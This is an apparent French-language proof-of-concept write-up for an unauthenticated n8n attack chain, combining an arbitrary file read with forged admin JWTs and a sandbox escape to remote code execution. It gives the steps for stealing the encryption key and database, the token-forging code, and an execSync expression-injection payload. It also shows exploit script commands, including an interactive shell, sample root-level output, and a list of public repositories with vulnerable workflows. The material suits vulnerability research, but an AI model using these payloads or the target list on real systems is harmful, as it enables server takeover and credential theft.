
n8n Ni8mare - Chaîne de lecture arbitraire non authentifiée de fichiers menant à une RCE (CVSS 10.0)
Lecture arbitraire de fichiers non authentifiée → Forge de jeton admin → Contournement du sandbox → RCE
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (Critique) |
| Versions concernées | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Corrigé | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| Divulgué | 2026-01-07 11:09 UTC |
| Nom de code | Ni8mare |
| Crédit | Dor Attias (Cyera) |
| Exploit | Chocapikk |
| Processus | Automatisé par IA : diff de patch → repro → lab → exploit (~9h après la divulgation) |
| Type | Preuve de concept - PAS un exploit universel (nécessite une configuration de workflow spécifique, voir Limitations) |
Chaîne RCE complète non authentifiée sur n8n :
L'exposition est basée sur la version. En termes d'exposition, des instances n8n vulnérables sont accessibles publiquement.
Résultats LeakIX : Voir les instances exposées
Cet exploit a été développé indépendamment du rapport de Cyera (découvert après son achèvement). Différences clés :
Les deux approches nécessitent des configurations de workflow spécifiques. Cyera a besoin d'un chat + d'une intégration IA, cet exploit a besoin d'un formulaire avec un nœud Respond. Voir Limitations pour plus de détails.
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
Le légendaire « Merge commit from fork » - quand vous voyez ça, quelqu'un a trouvé quelque chose d'épicé. 🌶️
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Envoyez Content-Type: application/json → contrôlez filepath → lisez n'importe quel fichier.
n8n isole le code utilisateur (nœud Code, expressions) dans un sandbox utilisant vm2/isolated-vm. Autres vecteurs RCE :
| Technique | Statut |
|---|---|
| Nœud Execute Command | Désactivé par défaut () |
J'ai utilisé l'injection d'expression car elle fonctionne sur n'importe quelle instance n8n avec les réglages par défaut - aucun nœud ou configuration spéciale n'est requis. Le contournement Pyodide (CVE-2025-68668) nécessite le nœud Code Python qui peut ne pas être disponible sur toutes les instances.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Les expressions n8n ont accès à this.process.mainModule.require → évasion complète du sandbox.
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
Ce n'est PAS un exploit « pwn n'importe quel n8n ». Il nécessite des conditions spécifiques pour fonctionner :
| Exigence | Description |
|---|---|
| Formulaire avec upload de fichier |
Exemple de configuration de workflow vulnérable :
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Les éléments clés sont : fieldType: "file" + respondWith: "binary". Ce motif est courant dans les workflows de traitement de fichiers (convertisseurs, redimensionneurs d'images, processeurs de documents).
Fonctionne :
Ne fonctionne pas :
Remarque : La vulnérabilité (lecture arbitraire de fichiers) est déclenchée quelle que soit la méthode d'exfiltration. Le nœud Respond n'est qu'un moyen de récupérer le contenu. Des méthodes alternatives (OOB, autres nœuds de sortie) peuvent fonctionner selon la configuration du workflow.
Exploitation aveugle : Si aucun nœud respond n'existe, le fichier est quand même lu par n8n mais ne peut pas être exfiltré via la réponse HTTP. Des techniques alternatives (OOB, timing) seraient nécessaires.
Le motif vulnérable (Form Trigger + upload de fichier + Respond to Webhook) existe dans des dépôts GitHub publics.
Remarque : Les dépôts de workflows n8n populaires (>100⭐) n'utilisent pas ce motif. Ce sont des projets communautaires/personnels :
Ce sont des workflows contribués par la communauté. Aucun modèle officiel de n8n.io n'utilise ce motif vulnérable.
| Cyera (Recherche originale) | Cet exploit |
|---|
| Lecture de fichiers | Chargement dans la base de connaissances IA → interrogation via le chat | Réponse HTTP directe |
| Prérequis | Workflow de chat + intégration IA | Tout formulaire avec upload de fichier |
| Méthode RCE | Nœud « Execute Command » (désactivé par défaut) | Injection d'expression (fonctionne sur les installations par défaut) |
| Automatisation | Démo manuelle/conceptuelle | Script Python entièrement automatisé |
N8N_ALLOW_EXEC_COMMAND=false| Nœuds SSH/HTTP | Exécution sur des serveurs distants, pas sur l'hôte n8n |
| Évasion du sandbox Pyodide | CVE-2025-68668 - nécessite le nœud Code Python |
| Injection d'expression | CVE-2025-68613 - fonctionne sur les installations par défaut |
| La cible doit avoir un workflow de formulaire avec un champ d'upload de fichier |
| Nœud Respond to Webhook | Le workflow doit renvoyer le contenu du fichier dans la réponse HTTP |
| Workflow actif | Le workflow du formulaire doit être activé |
| Accès non authentifié | Le formulaire doit être accessible publiquement (sans authentification) |
| Fichier de workflow | Champs de fichier | respondWith |
|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Images, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Document (PDF) | text |
| ai_resume_project/resume_rag.json | Upload de fichier | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Fichier audio | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | fichier | text |
| voltixLandingPage/.../chatbotvoltix.json | Upload de fichier | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | fichier | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Téléversez votre document | default |
| learn_earn_ai_insta/.../My workflow.json | téléversez votre fichier | default |
| finintworkshop/.../API using n8n (ToT).json | fichier | json |